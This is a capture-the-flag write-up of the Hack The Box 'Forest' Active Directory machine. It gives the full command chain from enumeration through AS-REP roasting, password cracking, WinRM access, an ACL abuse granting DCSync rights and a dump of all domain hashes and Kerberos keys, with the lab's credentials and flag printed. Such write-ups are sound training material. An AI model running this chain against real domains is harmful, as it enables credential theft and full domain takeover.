Forest

REHAN SAYYEDREHAN SAYYED
13 min read

IP: 10.129.136.21

Let’s start with the nmap scan.

nmap -sC -sV -o nmap 10.129.136.21
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-09 04:02 EST
Nmap scan report for 10.129.136.21
Host is up (0.23s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-09 09:09:53Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2025-02-09T01:10:11-08:00
|_clock-skew: mean: 2h46m50s, deviation: 4h37m11s, median: 6m48s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2025-02-09T09:10:08
|_  start_date: 2025-02-09T08:43:32

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.15 seconds

From the output, we can see that it has port 88 kerberos open, port 135 RPC open, port 139/445 SMB open, port 389 ldap open and port 5985 win-rm open. Which suggests that it’s an Active Directory box. We can also find the domain name htb.local and hostname FOREST.htb.local.

Now, as we have SMB open let’s start by enumerating this.

smbclient -L \\\\10.129.136.21\\

We do have anonymous login enabled but no shares are listed. Let’s use enum4linux it to find some usernames and do some more enumeration in the machine.

enum4linux 10.129.136.21
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Feb  9 04:16:41 2025

 =========================================( Target Information )=========================================

Target ........... 10.129.136.21
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 10.129.136.21 )===========================


[E] Can't find workgroup/domain



 ===============================( Nbtstat Information for 10.129.136.21 )===============================

Looking up status of 10.129.136.21
No reply from 10.129.136.21

 ===================================( Session Check on 10.129.136.21 )===================================


[+] Server 10.129.136.21 allows sessions using username '', password ''


 ================================( Getting domain SID for 10.129.136.21 )================================

Domain Name: HTB                                                                                                                                             
Domain Sid: S-1-5-21-3072663084-364016917-1341370565

[+] Host is part of a domain (not a workgroup)                                                                                                               


 ==================================( OS information on 10.129.136.21 )==================================


[E] Can't get OS info with smbclient                                                                                                                         


[+] Got OS info for 10.129.136.21 from srvinfo:                                                                                                              
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED                                                                                       


 =======================================( Users on 10.129.136.21 )=======================================

index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA  Name: (null)    Desc: (null)                                                         
index: 0xfbc RID: 0x1f4 acb: 0x00000010 Account: Administrator  Name: Administrator     Desc: Built-in account for administering the computer/domain
index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy  Name: Andy Hislip       Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1  Name: HealthMailbox-EXCH01-010  Desc: (null)
index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e  Name: HealthMailbox-EXCH01-003  Desc: (null)
index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678  Name: HealthMailbox-EXCH01-005  Desc: (null)
index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e  Name: HealthMailbox-EXCH01-009  Desc: (null)
index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781  Name: HealthMailbox-EXCH01-006  Desc: (null)
index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d  Name: HealthMailbox-EXCH01-004  Desc: (null)
index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64  Name: HealthMailbox-EXCH01-008  Desc: (null)
index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9  Name: HealthMailbox-EXCH01-002  Desc: (null)
index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722  Name: HealthMailbox-EXCH01-Mailbox-Database-1118319013  Desc: (null)
index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad  Name: HealthMailbox-EXCH01-001  Desc: (null)
index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238  Name: HealthMailbox-EXCH01-007  Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account
index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda       Name: Lucinda Berger    Desc: (null)
index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark  Name: Mark Brandt       Desc: (null)
index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi Name: Santi Rodriguez   Desc: (null)
index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien     Name: Sebastien Caron   Desc: (null)
index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb  Name: Microsoft Exchange Migration      Desc: (null)
index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb  Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}       Desc: (null)
index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb  Name: Microsoft Exchange Approval Assistant     Desc: (null)
index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18  Name: Discovery Search Mailbox  Desc: (null)
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a  Name: Microsoft Exchange        Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb  Name: E4E Encryption Store - Active     Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549  Name: Microsoft Exchange Federation Mailbox     Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b  Name: Microsoft Exchange        Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b  Name: Microsoft Exchange        Desc: (null)
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco  Name: svc-alfresco      Desc: (null)

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

 =================================( Share Enumeration on 10.129.136.21 )=================================

do_connect: Connection to 10.129.136.21 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                                                                     

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.129.136.21                                                                                                                


 ===========================( Password Policy Information for 10.129.136.21 )===========================



[+] Attaching to 10.129.136.21 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.129.136.21)

[+] Trying protocol 445/SMB...

[+] Found domain(s):

        [+] HTB
        [+] Builtin

[+] Password Info for Domain: HTB

        [+] Minimum password length: 7
        [+] Password history length: 24
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: 1 day 4 minutes 
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set



[+] Retieved partial password policy with rpcclient:                                                                                                         


Password Complexity: Disabled                                                                                                                                
Minimum Password Length: 7


 ======================================( Groups on 10.129.136.21 )======================================


[+] Getting builtin groups:                                                                                                                                  

group:[Account Operators] rid:[0x224]                                                                                                                        
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[System Managed Accounts Group] rid:[0x245]
group:[Storage Replica Administrators] rid:[0x246]
group:[Server Operators] rid:[0x225]

[+]  Getting builtin group memberships:                                                                                                                      

Group: Users' (RID: 545) has member: Couldn't lookup SIDs                                                                                                    
Group: Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs
Group: Account Operators' (RID: 548) has member: Couldn't lookup SIDs
Group: IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Group: Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Group: System Managed Accounts Group' (RID: 581) has member: Couldn't lookup SIDs
Group: Guests' (RID: 546) has member: Couldn't lookup SIDs
Group: Administrators' (RID: 544) has member: Couldn't lookup SIDs
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs

[+]  Getting local groups:                                                                                                                                   

group:[Cert Publishers] rid:[0x205]                                                                                                                          
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]

[+]  Getting local group memberships:                                                                                                                        

Group: Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs                                                                   

[+]  Getting domain groups:                                                                                                                                  

group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]                                                                                                  
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

[+]  Getting domain group memberships:                                                                                                                       

Group: 'Domain Users' (RID: 513) has member: HTB\Administrator                                                                                               
Group: 'Domain Users' (RID: 513) has member: HTB\DefaultAccount
Group: 'Domain Users' (RID: 513) has member: HTB\krbtgt
Group: 'Domain Users' (RID: 513) has member: HTB\$331000-VK4ADACQNUCA
Group: 'Domain Users' (RID: 513) has member: HTB\SM_2c8eef0a09b545acb
Group: 'Domain Users' (RID: 513) has member: HTB\SM_ca8c2ed5bdab4dc9b
Group: 'Domain Users' (RID: 513) has member: HTB\SM_75a538d3025e4db9a
Group: 'Domain Users' (RID: 513) has member: HTB\SM_681f53d4942840e18
Group: 'Domain Users' (RID: 513) has member: HTB\SM_1b41c9286325456bb
Group: 'Domain Users' (RID: 513) has member: HTB\SM_9b69f1b9d2cc45549
Group: 'Domain Users' (RID: 513) has member: HTB\SM_7c96b981967141ebb
Group: 'Domain Users' (RID: 513) has member: HTB\SM_c75ee099d0a64c91b
Group: 'Domain Users' (RID: 513) has member: HTB\SM_1ffab36a2f5f479cb
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxc3d7722
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxfc9daad
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxc0a90c9
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox670628e
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox968e74d
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox6ded678
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox83d6781
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxfd87238
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxb01ac64
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox7108a4e
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox0659cc1
Group: 'Domain Users' (RID: 513) has member: HTB\sebastien
Group: 'Domain Users' (RID: 513) has member: HTB\lucinda
Group: 'Domain Users' (RID: 513) has member: HTB\svc-alfresco
Group: 'Domain Users' (RID: 513) has member: HTB\andy
Group: 'Domain Users' (RID: 513) has member: HTB\mark
Group: 'Domain Users' (RID: 513) has member: HTB\santi
Group: 'Schema Admins' (RID: 518) has member: HTB\Administrator
Group: 'Managed Availability Servers' (RID: 1120) has member: HTB\EXCH01$
Group: 'Managed Availability Servers' (RID: 1120) has member: HTB\Exchange Servers
Group: 'Organization Management' (RID: 1104) has member: HTB\Administrator
Group: 'Service Accounts' (RID: 1148) has member: HTB\svc-alfresco
Group: 'Domain Computers' (RID: 515) has member: HTB\EXCH01$
Group: 'Exchange Windows Permissions' (RID: 1121) has member: HTB\Exchange Trusted Subsystem
Group: 'Group Policy Creator Owners' (RID: 520) has member: HTB\Administrator
Group: 'Privileged IT Accounts' (RID: 1149) has member: HTB\Service Accounts
Group: 'Domain Controllers' (RID: 516) has member: HTB\FOREST$
Group: 'Enterprise Admins' (RID: 519) has member: HTB\Administrator
Group: 'Exchange Trusted Subsystem' (RID: 1119) has member: HTB\EXCH01$
Group: 'Exchange Servers' (RID: 1118) has member: HTB\EXCH01$
Group: 'Exchange Servers' (RID: 1118) has member: HTB\$D31000-NSEL5BRJ63V7
Group: 'Domain Guests' (RID: 514) has member: HTB\Guest
Group: 'Domain Admins' (RID: 512) has member: HTB\Administrator
Group: '$D31000-NSEL5BRJ63V7' (RID: 1133) has member: HTB\EXCH01$

 ==================( Users on 10.129.136.21 via RID cycling (RIDS: 500-550,1000-1050) )==================


[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.                                                                                    


 ===============================( Getting printer info for 10.129.136.21 )===============================

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED                                                                                      


enum4linux complete on Sun Feb  9 04:24:45 2025

So, here we were able to find some users. Let’s create a list of usernames.

gedit users.txt

Now, we have the usernames and found that Kerberos was open on the machine but we haven’t got any passwords yet. So, let’s perform AS-Reproasing an attack to see if any user accounts have Kerberos pre-authentication disabled which will help us steal the password hash.

impacket-GetNPUsers htb.local/ -usersfile users.txt -request -outputfile hashes.asreproast -dc-ip 10.129.136.21

And we got the hash for the svc-alfresco which is the service account. Let’s crack this hash using John.

john --wordlist=/usr/share/eaphammer/wordlists/rockyou.txt hashes.asreproast

We got the password s3rvice. Now, from the scan, we know that it has port 5985 open which is for Windows Remote Management (WinRM). So, let’s use these creds and get access to the system.

evil-winrm -i 10.129.136.21 -u svc-alfresco -p 's3rvice'

We’re in! Let’s grab our first flag.

type users.txt

Flag: 09d47f6a78e10a1e8b605ad4b0a0419d

Let’s escalate our privileges for root now.

Now, that we have a valid user account let’s try to search for a path to the DC for that we will use a Bloodhound ingestor to collect the info about our target domain.

bloodhound-python -u 'svc-alfresco' -p 's3rvice' -d htb.local -dc FOREST.htb.local -c all -ns 10.129.136.21

Now let's compress our JSON file into a zip and then let's use Bloodhound to see the data.

mv *.json /home/kali/HTB/boxes/Forest/bloodhound

zip -r bloodhound.zip bloodhound

sudo neo4j start

bloodhound

Let’s import our zip file now.

Let’s first mark the user as owned and set it as a starting node.

Next, let’s map the user to the domain controller. after playing around sometime we concluded with something interesting. If we check the shortest path from owned principles.

We can see that the svc-alfresco user is a member of the service accounts group which is a member of the Privileged IT Accounts group which is a member of the account operators group which has generic all on the EXCH01.HTB.LOCAL server. But if we check the path to domain admin from accounts operators.

We can see that the Account operators group has Generic All on the Exchange Windows Permissions group which has WriteDACL on htb.local. While doing some Google info we came across this article from Microsoft Docs.

It states that we can create a user but cannot add in the Administrators or the related groups mentioned below which does not include the Exchange Windows Permissions group. So, let’s create a user and add it to this group.

net user Dignitas Hacker123 /add /domain

Let’s now check for all the users in the Exchange Windows Permissions group.

net group "Exchange Windows Permissions"

There are no users in this group so let’s add our user (Dignitas).

net group "Exchange Windows Permissions" /add Dignitas

We’ve successfully added our user to the Windows Exchange Permissions group. Let’s now check the info for the WriteDACL bloodhound.

Woah! With this WriteDacl access, we can grant our user Dignitas any privilege we want on the object. Let’s take a look at the Linux Abuse section.

So, here we have a complete guide on how to abuse this. Let’s get going with this then.

First, we need to abuse WriteDacl to grant DCSync privileges. If we have WriteDACL on a domain object (like HTB.LOCAL), we can modify the Access Control List (ACL) to grant DS-Replication-Get-Changes & DS-Replication-Get-Changes-All. This allows us to perform a DCSync attack, effectively dumping all domain credentials.

Let’s first transfer Powerview.ps1 on our win-rm shell.

upload pv.ps1

Let’s enable the execution policy to run our script.

powershell -ep bypass

$pass = convertto-securestring 'Hacker123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\Dignitas', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity Dignitas -Rights DCSync

Once we have DCSync rights, we can dump the NTLM hashes of all users, including Domain Admins

impacket-secretsdump htb.local/Dignitas:Hacker123@10.129.136.21
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
Dignitas:10101:aad3b435b51404eeaad3b435b51404ee:9075168608b7aba2428c8387bfeb9aee:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:43e6598bbcb24f8043b9285cc7d8c812:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
